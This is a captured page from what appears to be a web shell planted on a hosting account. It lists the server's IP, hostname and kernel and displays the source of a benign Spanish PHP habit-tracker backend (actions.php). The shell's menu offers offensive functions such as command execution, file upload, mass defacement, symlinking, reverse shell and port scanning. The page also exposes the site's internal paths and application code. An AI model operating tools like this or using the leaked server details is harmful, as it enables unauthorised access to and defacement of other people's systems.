Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
progressgym
/
modules
/
habits
/
Viewing: actions.php
<?php /** * Habit Matrix — Backend de Acciones * Silver Edition * * Acciones: crear_habito, toggle_habito, eliminar_habito */ session_start(); header('Content-Type: application/json; charset=utf-8'); require_once __DIR__ . '/../../config/database.php'; if (!isset($_SESSION['user_id'])) { echo json_encode(['success' => false, 'error' => 'No autorizado']); exit; } $db = getDB(); $uid = $_SESSION['user_id']; $duo = getDuoId(); $action = $_POST['action'] ?? ''; try { // ═══════════════════════════════ // CREAR NUEVO HÁBITO // ═══════════════════════════════ if ($action === 'crear_habito') { $nombre = trim($_POST['nombre'] ?? ''); $descripcion = trim($_POST['descripcion'] ?? ''); $tiempo = trim($_POST['tiempo'] ?? ''); $icono = trim($_POST['icono'] ?? 'bi-check2-circle'); $color = trim($_POST['color'] ?? '#cbd5e1'); if (empty($nombre)) { echo json_encode(['success' => false, 'error' => 'El nombre es obligatorio.']); exit; } if (strlen($nombre) > 120) { echo json_encode(['success' => false, 'error' => 'El nombre es demasiado largo (máx 120 caracteres).']); exit; } // Obtener siguiente orden $stmtOrden = $db->prepare("SELECT COALESCE(MAX(orden), 0) + 1 as next_orden FROM habit_matrix WHERE usuario_id = :uid AND duo_id = :duo"); $stmtOrden->execute([':uid' => $uid, ':duo' => $duo]); $nextOrden = (int)$stmtOrden->fetchColumn(); $stmt = $db->prepare("INSERT INTO habit_matrix (usuario_id, duo_id, nombre, descripcion, icono, color, tiempo_requerido, orden) VALUES (:uid, :duo, :nombre, :desc, :icono, :color, :tiempo, :orden)"); $stmt->execute([ ':uid' => $uid, ':duo' => $duo, ':nombre' => $nombre, ':desc' => $descripcion, ':icono' => $icono, ':color' => $color, ':tiempo' => $tiempo, ':orden' => $nextOrden ]); echo json_encode([ 'success' => true, 'id' => $db->lastInsertId(), 'message' => 'Hábito creado exitosamente.' ]); exit; } // ═══════════════════════════════ // TOGGLE (COMPLETAR/DESCOMPLETAR) HÁBITO // ═══════════════════════════════ if ($action === 'toggle_habito') { $habitId = (int)($_POST['habit_id'] ?? 0); $completado = (int)($_POST['completado'] ?? 0); $hoy = date('Y-m-d'); if ($habitId <= 0) { echo json_encode(['success' => false, 'error' => 'ID de hábito inválido.']); exit; } // Verificar que el hábito pertenece al usuario $stmtCheck = $db->prepare("SELECT id FROM habit_matrix WHERE id = :id AND usuario_id = :uid AND duo_id = :duo AND activo = 1"); $stmtCheck->execute([':id' => $habitId, ':uid' => $uid, ':duo' => $duo]); if (!$stmtCheck->fetch()) { echo json_encode(['success' => false, 'error' => 'Hábito no encontrado.']); exit; } if ($completado) { // Marcar como completado — INSERT OR UPDATE $stmt = $db->prepare("INSERT INTO habit_matrix_log (usuario_id, duo_id, habit_id, fecha, completado, completed_at) VALUES (:uid, :duo, :hid, :fecha, 1, NOW()) ON DUPLICATE KEY UPDATE completado = 1, completed_at = NOW()"); $stmt->execute([ ':uid' => $uid, ':duo' => $duo, ':hid' => $habitId, ':fecha' => $hoy ]); } else { // Desmarcar $stmt = $db->prepare("UPDATE habit_matrix_log SET completado = 0, completed_at = NULL WHERE habit_id = :hid AND usuario_id = :uid AND duo_id = :duo AND fecha = :fecha"); $stmt->execute([ ':hid' => $habitId, ':uid' => $uid, ':duo' => $duo, ':fecha' => $hoy ]); } echo json_encode(['success' => true]); exit; } // ═══════════════════════════════ // ELIMINAR HÁBITO (FÍSICAMENTE) // ═══════════════════════════════ if ($action === 'eliminar_habito') { $habitId = (int)($_POST['habit_id'] ?? 0); if ($habitId <= 0) { echo json_encode(['success' => false, 'error' => 'ID de hábito inválido.']); exit; } // Verificar que el hábito pertenece al usuario $stmtCheck = $db->prepare("SELECT id FROM habit_matrix WHERE id = :id AND usuario_id = :uid AND duo_id = :duo"); $stmtCheck->execute([':id' => $habitId, ':uid' => $uid, ':duo' => $duo]); if (!$stmtCheck->fetch()) { echo json_encode(['success' => false, 'error' => 'Hábito no encontrado.']); exit; } // Iniciar transacción para eliminar todo de forma atómica $db->beginTransaction(); try { // 1. Eliminar todos los registros de log asociados $stmtLog = $db->prepare("DELETE FROM habit_matrix_log WHERE habit_id = :hid AND usuario_id = :uid AND duo_id = :duo"); $stmtLog->execute([':hid' => $habitId, ':uid' => $uid, ':duo' => $duo]); // 2. Eliminar el hábito $stmtHabit = $db->prepare("DELETE FROM habit_matrix WHERE id = :id AND usuario_id = :uid AND duo_id = :duo"); $stmtHabit->execute([':id' => $habitId, ':uid' => $uid, ':duo' => $duo]); $db->commit(); echo json_encode(['success' => true, 'message' => 'Hábito eliminado permanentemente.']); } catch (Exception $e) { $db->rollBack(); throw $e; } exit; } echo json_encode(['success' => false, 'error' => 'Acción inválida.']); } catch (Exception $e) { echo json_encode(['success' => false, 'error' => 'Error del servidor: ' . $e->getMessage()]); }
Coded With 💗 by
0x6ick